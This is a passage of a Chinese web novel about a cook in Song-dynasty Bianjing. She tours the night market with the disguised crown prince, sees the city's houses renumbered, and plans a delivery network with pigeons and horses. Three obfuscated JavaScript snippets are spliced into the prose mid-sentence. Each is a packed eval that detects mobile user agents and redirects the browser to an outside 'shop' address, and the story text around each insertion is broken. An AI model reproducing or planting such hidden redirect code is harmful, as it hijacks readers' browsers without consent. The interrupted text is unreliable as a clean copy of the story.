“可惜芙蓉盏只在草市坊，整个汴京城那么大，还有多少人没尝过我的手艺？我想赚的，可是整座汴京城的钱。” 赵清晏喜欢看见沈芙蕖眼睛里的野心勃勃，笑道：“你先前不是搞过预定、送索唤那一套吗？若能继续，全城人不就都能吃到了？”心道，这样我在宫里也能吃到你做的美食了。 沈芙蕖无奈地摇头：“哪有你想的那么简单，我之前不是跟你说过，索唤一定要讲实效，不然食物容易不新鲜，况且你以为那些外送地址好找吗？” 汴京城被划分为一百二十余坊和数十个商业区。官府按“坊”统计户籍，每坊设“坊正”管理。 虽说店铺都要悬挂木质牌额，写明经营内容，却从没有什么数字编号。要是想描述一个铺子的位置，就得用“潘楼街南，过州桥东第三家”这样的表述。 在规整的街市还好，可像草市坊这样的地方，巷弄纵横交错，店铺杂乱无章。沈芙蕖先前送索唤时，常常在迷宫般的街巷里转得晕头转向。 沈芙蕖突然说道：“若是官府能将坊市编号就好了。比如草市坊南街甲一号，这样是不是更方便户籍管理？送索唤也能更快找到地方。” “我怎么没想到呢？这可真是个好法子。”赵清晏赞叹道。 沈芙蕖说：“这建议是好，可没人听我们的啊。” 28. 第二十八章 赵清晏眼睛一亮，拍手道：“其实这主意妙极！你可以直接报与左右厢公事所，我想他们应该采纳你的意见。” 沈芙蕖斜睨他一眼，叹了口气道：“你当左右厢公事所是我芙蓉盏的厨房呀？任我这般市井小民随意进出。” “好像也是的……”赵清晏讪讪地挠了挠头，突然话锋一转：“沈娘子，不如你带我逛逛汴京可好？你也知道嘛，我是外地人，这初来乍到的，还没有见过好好看过这繁华的汴京城呢。” 沈芙蕖手中算盘不停，叹气道：“可一会夜宵就要卖起来了，正是生意最忙的时候，我走了，这一屋子食客怎么办？” “好姐姐！芙蓉盏一日进账多少？我双倍补给你便是。”他从怀中掏出一枚金铤，在掌心掂了掂：“反正你知道的，我最不缺的就是这个。” 沈芙蕖连忙摆摆手：“我根本不是这个意思……” 赵清晏已摆出一副可怜相，一双桃花眼湿漉漉地望着她，像只被雨淋湿的小狗。沈芙蕖被他看得心头一软，终是咬牙答应了：“罢了，就陪你闹半个时辰。” 沈芙蕖解下襻膊，嘱咐阿虞和张澈照看好铺子，便带着赵清晏出了芙蓉盏。 暮色已沉，汴河两岸的灯笼次第亮起，将水面映得流光溢彩。赵清晏像只出笼的雀儿，东张西望，不一会儿便混入了人群中。 几个身着常服的侍卫慌忙跟上，却被他三拐两绕，竟甩在了巷尾。 “那我就带你去个好地方，瓦子没去过罢？”汴京的瓦子很热闹，除了有说书、杂剧，还有傀儡戏、相扑、杂技等。 普通的座位大概在五文到十文一场不等，好点的雅座得要三十文，还可以点些茶水点心。 有些茶肆酒铺专围绕瓦子开设，生意也比一般的铺子好些，但沈芙蕖没那么多本钱，一开始只能将芙蓉盏开在草市坊。 沈芙蕖引着赵清晏穿过州桥，来到桑家瓦子。还未进门，便听得里头喝彩声震天。 桑家瓦子内，人声鼎沸。十余座勾栏围成半圆，竹棚上悬着彩绸灯笼，映得台前亮如白昼。北侧的说书场挤得水泄不通，醒木一拍，满堂喝彩。相扑擂台上，两个赤膊汉子角力正酣，汗珠甩出三尺远，观众们想凑近又因为害怕而保持距离。 茶博士拎着铜壶穿梭其间，叫卖声混着胡琴咿呀。如此热闹的场面，让赵清晏不禁怔住，不敢上前去。 沈芙蕖笑着拉着他的衣袖：“我带你去听书吧？” 赵清晏点头：“我都听你的。” 掀帘而入，但见高台上说书人正讲到精彩处：“话说去岁西夏犯边，连破三城，朝中诸公皆言议和。唯有时任枢密使的韩相公，啧！如今已是当朝宰相的那位，力排众议，执剑上殿！” 台下顿时一片吸气声。 “韩相公当廷直谏：祖宗疆土，岂可尺寸与人！言罢竟夺过官家手中朱笔，在舆图上划了一道！” “呵！”众人又是一阵惊呼，一个二个都紧盯着说书人的手舞足蹈的样子。 说书人抓起茶盏往案上重重一磕，清水溅出，又激情澎湃道：“自此亲赴边关，三伏天着铁甲巡营，寒冬月卧冰河督战。最险时，西夏铁骑距大帐不过百步，韩相公却焚香抚琴，一曲《广陵散》未终，敌营已鸣金收兵！” 角落里的赵清晏听得入神，沈芙蕖凑过来说：“这故事我都听了三遍，每回琴曲都不一样，上回还说是《梅花三弄》呢。” 说书人似有所觉，突然话锋一转：“列位可知？韩相公凯旋时，汴京百姓争相瞻仰。相爷马背上挂的不是敌酋首级，而是一筐沙葱！道是将士们戍边苦寒，带回些边塞风味，叫他们尝尝。” 满堂轰然叫好，铜钱如雨点般抛向台前。 赵清晏瞪大了眼睛，他自幼长在深宫，何曾见过这般热闹？ 沈芙蕖要了壶茉莉香片，一碟南瓜子，见他听得入神，不由抿嘴一笑：“怎么样？应该比你们府上的戏班子有趣多了吧？” “热闹是热闹，可是……” 赵清晏摇摇头，说道：“可是事实不是如此呀！韩相哪有那么大的胆子，敢从官家手中夺过朱笔，他不要脑子了么。上朝时，无论是文官还是武官，都不能配剑的！再说他只是个掌调令的文官，只有决策和调令的权力，何时上过战场，还带沙葱回来……他怕是连沙葱长什么样都不知道吧！”赵清晏忽然噤声，意识到自己的失言。 沈芙蕖将瓜子推给他：“你怎么一副很了解韩相的样子，你似乎……不怎么待见他。” 赵清晏撇嘴：“我不过是听家中长辈议论过几句。韩相可真是好大喜功，这瓦子里说书的人，也不知道收了他家多少惠处。” 沈芙蕖心道，他大概是不喜欢这些夸张的说书，于是中场休息时，她便带着赵清晏出了瓦子。 二人沿着汴河漫步。赵清晏跟在沈芙蕖身后，眼睛却不住地往街边琳琅满目的摊位上瞟。 转过马行街角，忽见一处摊前围满了人。赵清晏好奇地挤进去，只见一盏琉璃缸中，一株赤红如血的珊瑚树静静矗立，枝桠舒展，在灯下泛着莹润的光泽。 “嗳，这是真的珊瑚吗？”他忍不住伸手，指尖还未触及缸壁，就被摊主喝住：“小官人当心！这可是南海来的宝贝，碰坏了可赔不起！” 赵清晏讪讪地收回手，低声道：“我在府中见过一株，比这个还大一倍。” 摊主不相信，斜着眼看他：“这是海商从大食国运来的，一株抵得上寻常人家十年的嚼用！这么大的已经属于罕见，你吹牛也要打个草稿罢。” 赵清晏摇头：“你不信就算了，我没必要撒谎……我只是没想到这里也有卖的。” 沈芙蕖笑着说：“别和井底之蛙计较，海域那么辽阔，当然有比这大的多的珊瑚树，他没见过不代表没有。我信你的。” 能从口袋里随意摸出金铤的人，就算家里有个大树那么大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16111540|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的珊瑚，沈芙蕖也不觉得稀奇。 正说着，不远处忽然传来一阵惊呼。二人循声望去，只见一个碧眼虬髯的胡人站在空地上，手中一柄弯刀寒光凛凛。 他仰头将刀刃缓缓插入喉中，直至刀柄没入口内，围观者无不倒吸凉气。 赵清晏瞳孔一缩，下意识按住腰间佩剑：“他、他这是在干什么？！” 话音未落，那胡人猛地张口，竟喷出一道三尺长的火龙！炽热的火焰照亮半条街巷，惊得路人连连后退。赵清晏僵在原地，直到火光消散，才长吁一口气。 “这是障眼法罢了。那把剑有名堂的，是可以伸缩的。”沈芙蕖见他吓得不轻，忍笑道：“你若是觉得有趣，待会儿让他给你变个戏法，能把铜钱变成糖糕。” 看完吞刀吐火，沈芙蕖拉着他来到一处灯摊。架上悬着十几盏走马灯，烛火透过纱绢，上面描着各类图案。 “这个有趣，我要这个！”赵清晏眼睛一亮，指着那盏灯道。 摊主笑眯眯地伸出五根手指：“五十文，小郎君。” 赵清晏刚要解下腰间荷包就要递过去，却被沈芙蕖拦住：“这灯成本不过十文，他欺你面生呢。” 她转头对摊主道：“二十文，再多我们就去别家。” 赵清晏抱着灯，看沈芙蕖砍价的模样，觉得比灯上的戏文还有趣。 灯影幢幢，映得赵清晏眉眼格外明亮。他忽然低声道：“沈姐姐，这些……我从前都没见过。” 沈芙蕖一怔，见他抚摸着灯架边缘，像是捧着什么稀世珍宝。她心中一软，轻声道：“往后你想看什么，我都带你来。” 夜风拂过，吹得灯影摇曳。赵清晏望着墙上流转的光影，第一次觉得，这汴京的繁华，原来离自己这般近。 “我家规矩大得很。每日卯时起身读书，午时习字，申时练骑射。连吃什么、穿什么，都得按着祖宗定的规矩来。我从来不知道东京的夜市是这样的。” 沈芙蕖静静听着，说道：“现在没人管你了。” 赵清晏浑然不知，自己这一时兴起的任性，竟让整个汴京城翻了天。 枢密院的金字令牌一出，四座城门立刻封闭，宣化门、安肃门放下千斤闸，守军持弩登城。水门铁栅落下，水军驾小舟巡查汴河画舫。 武侯铺开始敲响警梆，驱散夜市人群，人群如潮水般退去，只余下一地狼藉的果核和翻倒的货架。 厢吏们手持厚重的户籍册，挨家挨户地拍开客栈大门，粗粝的嗓音在街巷间回荡：“所有人等，即刻验明正身！” 沈芙蕖有些不安：“这是出了什么大事？” 赵清晏后背沁出一层冷汗，他望着远处城楼上晃动的火把，心头猛地一沉，这下可真是闯下大祸了。 “沈姐姐，我也不知道怎么回事。是不是跑了什么朝廷要犯！”赵清晏胡诹着：“不若我们就在此分别吧！我回去问问我爹是怎么回事！” 29. 第二十九章 沈芙蕖见他着急忙慌的样子，不像是演的，以为赵清晏是个什么在逃要犯，不过转念一想，陆却的表弟能是什么朝廷钦犯呢？ 沈芙蕖目光扫过街角巡视的厢吏，还是问出了口：“赵清晏，这些人难道是来寻你的？” 赵清晏支支吾吾道：“哪能呢……我不过是想起来我爹说的话，亥时之前得回家，否则就家法伺候。眼见着时间要到了。” 沈芙蕖这才说：“那你方才不早说，咱们下次再出来玩就是，汴京城这么大，哪能一天玩完？朱雀门外的夜市比这儿热闹十倍，改日带你去瞧。” 赵清晏把刚才买的走马灯遮在脸旁，灯面上的影子晃啊晃，恰好遮住他发白的脸色，他说：“我家小厮就在州桥附近等我。那我先行一步了。” “嗳！等等！你买的磨喝乐还在我这里呢！”沈芙蕖瞅着怀里两个小木人，叹了口气。这家伙，比兔子跑得还快。 赵清晏没走两步，看见陆却冷着一张脸，站在他们五步之外的地方，双手背在身后，站得像棵松。 赵清晏心想：“我不过多玩了会儿，怎么连大理寺都惊动了。” 就这么一晃神的功夫，沈芙蕖已追上前来。见到陆却肃立的身影，她不由得一怔，脚步也跟着顿住了。 赵清晏先声夺人，声音里带着几分亲热：“表……表哥！可是姨母又让你来寻我？我都说了多少回了，我不过是出来见见世面。方才沈娘子还笑话我是没见过世面的土包子呢。”他边说边拽着陆却的衣袖，将人拉到一旁。 待避开沈芙蕖的视线，赵清晏立刻换了副面孔：“陆却，现在是个什么情况？满城都在寻我？我这回去，还有好果子吃吗？” 陆却轻轻点头：“国本失踪，你说呢？” 赵清晏赶紧说：“看见我喊你兄长的份上，陆却，陆大人，你行行好，帮帮我。若是被他们找回去，少说又要禁足月余。你忍心看我闷死在宫里？” “身为储君，你该研习治国之道，为官家排忧解难，而不是整日里游荡市井。”陆却说。 赵清晏接话：“啊对对对，你说的都对，我错了。陆却，你现在真的和那些迂腐的老夫子没什么区别。你若不帮我，我就告诉大家，今晚大理寺卿陆却相邀。” “东宫私会朝臣，犯了官家多大忌讳。你胡闹，总要有个限度。”陆却道。 “你们……到底回不回啊？再不回，亥时就要过了。”沈芙蕖叉着腰，看着他俩磨磨叽叽半天。 在这街上耽误下去，也不是个办法。陆却只好让赵清晏上了自己的马车，对沈芙蕖说：“沈娘子，今天多谢你照拂。不过，往后还望少与……赵四来往。他家规森严，不便与外人多接触。” 沈芙蕖皱了皱鼻子，自己又不是破皮无赖，陆却一番话，倒像是看不起她似的。这话听得她，实在是难受！ “陆大人这表哥当的，确实挺上心，连他素日和谁来往都要过问，当真一片苦心。我虽是个市井粗人，却也懂得分寸……” 陆却知晓她有些误会，但眼下却不是与她辩白的时候，他掀起帷幕，拱手行礼：“沈娘子，告辞。” 沈芙蕖一肚子话还没说，委屈地瞧着马车扬长而去。 “陆却，你方才说话怎么这么直接！我以后还怎么好意思来找她玩！”赵清晏大咧咧坐在马车上，手上摆弄着走马灯的竹骨。 陆却淡淡说：“那就不见。” “不见？”赵清晏瞪大眼睛，摇着头说：“你可知这汴京城里，厨艺胜过她的没她灵秀，比她标致的没她聪慧，比她机敏的没她有趣……” 陆却打断：“殿下，你可是久居深宫，没见过其他女子？” 赵清晏冷哼一声：“我父皇三宫六院，他的女人还不够多吗？” 陆却沉默了，这是事实，他无从反驳。 车厢内静默了一会，赵清晏突然说：“她便是当太子妃也是可以的。” “她是厨娘。”陆却沉默良久才道。 赵清晏用靴子不耐烦踢了踢折凳，脸上出现嘲讽的笑容：“可她比那些名门贵女，要好多了。陆却，你真的变了好多，你从前从来不会说这种话……” “殿下，人都总是会变的。”陆却又说。 赵清晏耸耸肩：“也许吧。不过我还是相信，只要坚持自己内心的想法，人也可以保持始终如一。” 陆却回道：“可事实总是身不由己。” “唉！和你说话，真没劲，要是沈娘子在，定能听我说上许多。”赵清晏摆摆手。 沈芙蕖所说，为市坊进行编号，只是随口一说，毕竟这个时候还没有阿拉伯数字和英文字母，编号是较为复杂繁琐的，只是没想到，才过了半个月，阿虞便带来消息： 府衙前的告示牌贴出新令，汴京一百二十坊须依“天干地支”重编字号，此令一出，满城哗然。 府司录参军率百名厢吏，自皇城宣德门始，分十二路丈量街巷，每人都配发量尺、号牌和鱼鳞图册。 阿虞说：“此番标记是好，可用处却似乎不大，还耗费如此多的精力和时间。不知道朝廷是如何打算的。” 沈芙蕖道：“你且等等看，编号的好处，你往后就懂了。” 首日的勘误，旧曹门街三户人家便为一口井争论不休。原本这三户共用一井，可谁都说不清挖井到底是哪家出的力最多，平日里就多为这口井发生龃龉。 借着勘误的机会，三户人都想将这口井占为己有，争来争去没个结论，老吏王忠只好批注道：“丙字号特设井副号，记作丙三井，为贾、孙、张三户共有。” 虽然这个结果未得三家满意，可好歹有了个定论，以后再也不会为这井归谁所有而争吵。 类似的，还有许多事情，如那块石碑是谁家的，谁家门前台阶多占了地方，谁家大门不符合礼制等等，都在这勘误定编中一一化解了。 铁匠铺连夜赶制新坊额，统一采用熟铁为底，鎏金阳文的材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16125703|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质，主牌长三尺、宽二尺，写着详细的街坊及编号。 芙蓉盏也得了个主牌，上面写着：草市坊马兰街乙七。而桑家瓦子因跨两坊，匠人误将“己五”“己六”双牌并列，被左右邻舍戏称，一脚踏两坊，看戏半价。 等门牌全部做好，十万户齐换门牌，官宅门牌全是黑底金漆，首行刻“御赐”二字。民户用青石阴刻，钉于门楣，商铺则采用红木悬匾，下挂铁铃。 但也不是所有人都支持这项工作。草市坊刘屠户便拒绝悬挂“庚十一”牌，他给的理由倒也十分充分：“我祖传刘一刀的招牌，你现在要我换成庚十一，这不是叫我愧对我祖宗嘛！” 张澈好心解释：“这只是门牌，标清你家店铺的位置，又不是招牌！你家肉铺还是叫刘一刀。” 如此，张屠户才愿意接受这门牌。 一个月后，新制初显其效。首先是索唤更便捷了，只要报上编号，外送郎很快就能找到，不出半刻便能即达，节省的大半的时间还可以送别家，赚双倍的跑腿费。 汴京的潜火队按号牌布云梯，救火快了三成，这可挽救了不少老百姓的性命。 因为编号的缘故，一些暗坊私酿无所遁形，酒税也翻了倍。 总之，一套新制下来，老百姓叫好，朝廷也得益，是个两全其美的好法子。 阿虞这才明白，原来做这些看似无用功的事情，用处也这么大。 “沈姐姐，你看，现在家家户户都有了编号，住在哪里一看便知，咱们这预定和索唤的生意，是不是可以继续了？”阿虞问道。 沈芙蕖笑着问：“你们现在忙得过来吗？还想着索唤呢？” 阿虞说：“谁跟钱过不去呢！” “送！”沈芙蕖说：“但不是现在。时机还未成熟。” 以阿虞对沈芙蕖的信任程度，沈芙蕖说现在时机不成熟，那一定就是不成熟的，她只需要紧跟沈芙蕖的脚步，就能走得稳稳当当。 沈芙蕖做了一个决定，她准备买马，具体买马做什么，她也没说。 马市设在西郊的河滩上，还未走近，先听得一阵嘶鸣。几十匹骏马拴在木桩上，毛色油亮，蹄铁崭新。 一同来看马的，还有芙蓉盏的几个伙计，阿虞没骑过马，有些害怕，远远站着不敢靠近。 大双蹲下身，抓起一把沙土搓了搓：“掌柜的你瞧，这马粪里草料碎得均匀，说明牙口好。” 张澈：“大双你懂得可真多。” 大双说：“我小时候跟着爹贩过盐，后来我爹死后，我和小双没了生计，这才跟着铁匠学打铁呢。我可告诉你们，陇西的马，腿骨要硬，蹄腕要粗，这样的跑长途最稳当。” 马贩子凑过来，笑得殷勤：“这位爷可真是好眼力！这匹可是秦凤路来的，日行三百里不喘气，也才三岁。” 大双掰开马嘴，摇头道：“你既知我是行家，何必要诓骗我呢？瞧这一口牙，少说七八岁了，还诓人说三岁口。” 30. 第三十章 马贩子见大双是个行家，也就给了个合理的价钱。沈芙蕖便买了两匹马，笑眯眯问大家：“你们几个，除了大小双，还有谁会骑马？” 阿虞和张澈摇头，一匹马得二十贯朝上，不是他们这些穷苦人家能买的起的。 张澈也跟着叹气：“小时候倒是想学，可家里连头驴都买不起。” “没事，以后兄弟我教你。”大双非常仗义道。 阿虞拍拍手：“我也想学！学会了骑马，我也买一套胡服，学着那些帝姬们打马球。” 沈芙蕖若有所思地点点头，又说道：“咱们再买几只信鸽如何？” 到了这里，张澈已经反应过来，沈芙蕖并非一时兴起，而是为送索唤做的准备，鸽子可以传递食客的消息，马儿可以加快送餐的速度。 于是，一行人又转至西市，鸟雀叽叽喳喳闹个不停，热闹极了。 “这位娘子要什么样的鸽子？”鸽贩热情地掀开笼布，依次介绍：“我在东京卖鸽子有二十年了，什么样的品种都有，你看这红嘴的、白羽的、还有这种头顶凤冠的……” 鸽子们歪着头“咕咕”应了两声。 沈芙蕖伸手逗弄一只灰羽鸽子，那鸽子也不怕人，歪着头蹭她的指尖，沈芙蕖说：“我想要能识途传信的，有专门训练过的吗？” “哟，这可是稀罕物！不过你这可找对人了。不瞒您说，我前几日刚得了一对千里雪，是西域商人带来的，能飞三天三夜不迷路。小娘子是想要用它传信吗？”鸽贩热情介绍道。 阿虞怀疑鸽贩吹大牛，斜着眼道：“什么鸽子呀能飞三天三夜，那翅膀岂不是扑腾出火星呀。” “我不需要它们跑长途，能记住几个固定点位，来回飞就可以了。这个能做到吗？”沈芙蕖问道。 鸽贩点头回答道：“那自然是可以！小娘子可知，信鸽不比五岁的小娃娃笨，它们能飞千里不迷路，可辨认出十个人的面貌。我这双千里雪，更要比其他信鸽强些。” 说完，他小心翼翼地从内笼捧出两只白鸽，羽翼如雪，眼神锐利，两只砖红色的爪子也比一般的信鸽更强壮一些。 “这一对要多少钱？如果不识路，包退的吗？”沈芙蕖问。 “这个嘛……”鸽贩搓着手，说道：“得三十二贯一对，若是诚心要，最低三十贯，如果不识路，你再退给我，我一分不少的还你。” 小双倒吸一口凉气：“三十贯？你这一只信鸽都快赶上一匹马了？！掌柜的，咱去别家问问！” 鸽贩摆摆手：“唉，我说你这个小官人有所不知，这种鸽子，除了能记住百里内的地形，就算被猛禽追赶也不慌。而且它们认主，就算被人捉住，也会想方设法飞回来。你大可以去前头再问问，到哪里去找这一对信鸽，你若是能找到，我免费送你都行！” 沈芙蕖眼睛一亮，被说动了：“我要了！方才你说的话，我们都立个字据，你再教教我训鸽的秘籍。” 鸽贩拍拍胸脯保证：“就按小娘子说的做，有问题可以随时来找我！我还会给鸽子瞧病呢。” 阿虞又跳脚：“呸呸呸呸，我们还没养呢，你就说生病的事情，哪有你这么说话的。” 回到芙蓉盏，沈芙蕖将鸽子笼放在窗边，也不管开门做生意，只顾着按照鸽贩传授的经验训鸽。 “鸽贩说，要训练信鸽，得先饿它们半日，然后用哨声配合喂食，这样它就会形成记忆。正好，它们有许久没进食了。”沈芙蕖捻起一粒豌豆，吹了声竹哨，白鸽立刻扑棱棱飞到她肩头，乖巧地啄食。 阿虞看得目瞪口呆：“它怎么这么听话？比小孩聪明多了。” 沈芙蕖又拿了些玉米粒放在手心，任凭鸽子啄食：“等它们熟悉了咱们的气味，就算飞到天涯海角，也能找回来。” 大双突然想到什么：“若是遇到下雨怎么办？” 沈芙蕖指着鸽子腿上绑着的小竹筒：“无妨啊，这里面放着油纸包的密信，雨水浸不透。” 沈芙蕖又嘱咐张澈去木匠那打一个木制的信箱，里头放着个小食盆，还有个铁质托盘。 训完鸽子，沈芙蕖又召集了几个伙计，将心中想法说给他们听。 汴京的所有坊市围绕着皇城分布，以宫城大殿为中心，由内向外划为三层。 第一层为大庆殿、文德殿附近围绕的枢密院、中书省等官署，这里管理森严，并不设坊。 第二层外即为内城，东侧有作为金银彩帛交易之所的潘楼坊，中部有大相国寺坊，南侧朱雀门内有御街坊，还有安业坊、崇仁坊等四十余坊，茶肆、脚店、勾栏瓦舍星罗棋布，堪称汴京最繁华处。 第三层则离皇城最远的外城，城东郊有漕运码头，西郊有军营，南郊则为平民区，草市坊便坐落在这里，低矮的茅檐下，织工、铁匠、陶户终日劳作，炊烟混着汗气升腾。 沈芙蕖设想，在内城和外城各设置几个站点，待信鸽训练完毕，让信鸽沿着固定路线来回飞行，东线飞潘楼坊至虹桥，西线走大相国寺至金明池。 这样想要点吃食的人，可以通过站点传递信息。 芙蓉盏得到点餐信息，迅速出餐后，由各站点的外卖员骑马送餐，加上坊市编号加持，大大缩减配送效率，如此一来，外卖就有了可行性。 如果生意顺利，芙蓉盏可以在城内开一两家连锁店，这样就可以增加外卖效率。 所有的伙计都对这个疯狂的想法表示怀疑。 大双第一个站出来说：“一只信鸽十五贯，一匹马二十贯，再加上食盒、索唤的月钱……这买卖，得卖多少面才能回本呢？掌柜的不会这笔账算不清吧？” 小双说：“热食出了锅，跑上两刻钟就凉了，送过去的面，终究比不上现做的。我怕食客觉得滋味不好，就不买了。” 沈芙蕖说：“大家提的反对意见，都很有道理。不过，我很有必要向大家解释一下，我为何想要做外卖。” 沈芙蕖拿出纸笔，在图上画了一个圈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16137145|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又在外面画上两个更大的圆。每个圈内都标注了几个点，最后将点之间连成线，最后织成一张网来。 “你们说的面易坨，茶易冷，肉易坏等等问题，我先前都考虑过。你们没有看到事物的关键，一旦我的外卖网形成，就像树叶上的脉络可以为枝干输送营养一样，这张网可以为汴京的老百姓送任何物品。” 除了张澈，众人的神情都还有些迷惑，沈芙蕖便问张澈：“阿澈，我说明白了几分？” 张澈沉吟道：“我想，我应该能理解掌柜的意思。比如我们草市坊在城南，我坐在家中，突然想作一幅丹青，然而我少一种颜料，如果我自己去潘楼坊的书画街买，起码要花费大半天的时间。但如果我通过站点传递信息，我足不出户就能买到颜料。” 这时，其他伙计们才恍然大悟。 沈芙蕖接着说：“你们一定在想，我前期为什么要投入这么多，我不怕亏本吗？接下来我要说的是另外一个利润点。张澈说的很好，我要买颜料，可是书画街有那么多家颜料店，卖的颜料品质与价格也都大差不差，那么这时，我该选择哪一家呢？” 张澈会心一笑，答道：“这时，芙蓉盏会为你做选择。我们只送与我们合作的店铺，张三家常年与我们合作，那我们就优先为顾客选择张三家的颜料，并从中抽成。” “哦哦哦……”其余几个人不断点头。 沈芙蕖欣慰道：“所以，我的最终目的……不是为了给大家送多少卤鸭货，多少羊肉串，而是——” 伙计们全部异口同声道：“那张网！” 张澈忧心道：“掌柜的，你的想法让我真心叹服。可我们都知道，要建立这一张网可不容易，前期一定要投入大量的金钱和时间。何况，你漏了一个最关键的问题，如何支付？” “我预先想的是由外卖员事先垫付，等东西送到，再由买主付钱。”沈芙蕖沉吟道。 张澈立刻道：“并非所有外卖员都愿意承担这个风险。还是拿买颜料举例，倘若我拿到的颜料，并不是我想要的颜色，我拒绝付钱，需要退货。这其中的成本折损由谁来承担呢？是颜料店，还是外卖员，亦或是咱们芙蓉盏？” “如此，进入这张网的物品，需要好好考量。阿澈，我明白你的意思，想法是好的，但能不能实现，是另外一回事。此时不可操之过急。” 沈芙蕖站了起来，在店里来回踱步，愈发觉得自己不够冷静，凡事操之过急。 先前开食肆、做宵夜的巨大成功，让她失去了些许理智，以为自己可以利用现代人的智慧在汴京玩转得风生水起，忽略了许许多多客观存在的问题。 她现在犯了一个巨大的错误——没有做好准备就盲目扩张自己的业务。 好在，有人及时提醒了她。 当下最重要的，还是经营好芙蓉盏的生意。 “各位，七夕节是不是要到了？不如我们趁着这个机会，再赚一笔大的？”沈芙蕖转过身来，微微一笑。 31. 第三十一章 农历七月初七，正是七夕节，又称乞巧节、女儿节。 每到这时，汴京城特设乞巧市，自七月初一开市，售卖七孔针、五色线、磨喝乐等，街上人山人海，车马都不通行。 阿虞是小孩心性，早早用凤仙花汁染了指甲，美滋滋伸出手指给沈芙蕖看，臭美道：“好看不？姐姐，七夕给我放一晚上假，我要去汴河放河灯祈福。” 沈芙蕖挽着袖子，揉着案板上的七色面团，哪有不答应的。 张澈在一旁摆条凳，说道：“掌柜的说了，七夕节当天给我们三倍工钱，你请假，那可真是亏大发了。” 阿虞难为情绞着头发，她和草市坊几个相邻大小的小娘子们约好了放河灯，还要请大家吃酥山，她可不想食言。 “你去罢！工钱以后可以赚回来，一年的七夕节可就这一次。阿虞，你把你面前的模子递给我我。”沈芙蕖手上沾着胭脂色的花汁，将面团压入木模。 “姐姐，这红色的面团是用什么汁子调的？”阿虞好奇地戳了戳面团。 “茜草汁染的。”沈芙蕖轻敲她手背，说道：“别碰，手洗没洗呀。” 她转向大双：“大双，炭火要文火，蒸一刻就掀盖，久了纹路会糊。” 大双连忙迎和，蒸笼白汽氤氲，第一笼巧果出炉时，小双扛着竹篓进来：“掌柜的，木芙蓉买来了，你瞧瞧这两筐够不够。并蒂莲我跑遍汴河边的花铺，也只寻到三对。” 沈芙蕖拈起一朵木芙蓉，只见木芙蓉正是含苞欲放，想必用水养着，过两日便能开了：“无妨，三对也够了。把这三对配金丝楠木盒，作极品巧盒，定价一贯。” 沈芙蕖预备在七夕节推出巧果花篮，用七色巧果搭配花束一同售卖。 每份还附赠月老签，上面全是大双从佛寺里誊抄来的吉祥话。这样一套要一百文，取百年好合之意。 若是不喜欢甜食的，沈芙蕖还准备了卤鸭翅和卢豆干做成的鸳鸯双拼，外加茯苓糕。 配上一束紫红色的紫薇花，寓意日子红红火火。这一套也是相同的价格。 芙蓉盏提前十日就挂了“七夕特供”的水牌，吸引来不少食客的预定。 她又雇了草市坊五六个孩童，让他们沿街唱卖：“芙蓉盏里乞巧宴，胜过天上鹊桥仙”，为芙蓉盏的生意造势。 眼下，她正在紧锣密鼓地准备果子和花束。 七巧果不仅要好吃，还得好看，首先就要从颜色上下功夫。 将茜草根打成汁，就有了天然红色可食用的染料，紫苏汁可以将面团调紫，栀子水浸出金黄色，揉进面团正是变成了浅黄色。 另外将艾草汁、墨鱼汁、抹茶粉，加上白色面团，一共七种颜色的面团。 馅料也分甜芯和咸芯，兼顾两种口味。 甜芯有蜜枣馅儿，枣子温水浸泡半日，竹签去核后，用冰糖与槐花蜜按三比一的比例进行熬煮，待糖分完全进入枣肉，再加陈皮丝、干桂花增香。 豆沙馅更费劲些，赤小豆要用井水淘三遍，将浮豆挑出来扔掉，浸泡一夜后再上锅蒸，熟透的豆子过马尾细筛成泥，再用猪油和豆泥一起慢炒。 这样的豆沙还不够甜，得分三次加麦芽糖，起锅前拌入糖渍橙皮丁，才使得豆沙馅甜而不腻。 咸馅儿只有五香肉松一种。将猪后腿肉顺纹切寸块，冷水下锅，加葱结、黄酒去腥，撇去浮沫。待肉块煮熟后，趁热置石臼，木槌轻捶后，便可轻松撕成条絮状。 调味也比较简单，只要加入酱汁酱油、五香粉，和少许盐巴即可，沈芙蕖还撒了熟芝麻增香。 将馅料搓成团后，包上七彩糯米团，用磨具按压，一个精致的果子便做好了。 木模是她特请城南雕匠刻的，鹊桥纹、同心结、并蒂莲，一整套七夕花样。她在打模具的时候，还遇见了张大娘的侄儿张勉，两人都觉得尴尬，当作不认识。 沈芙蕖掰开一个巧果，露出里头的蜜枣馅，她尝了尝，说道：“味道还行，就是糖搁少了，得再放一点，这样更加香甜些。” 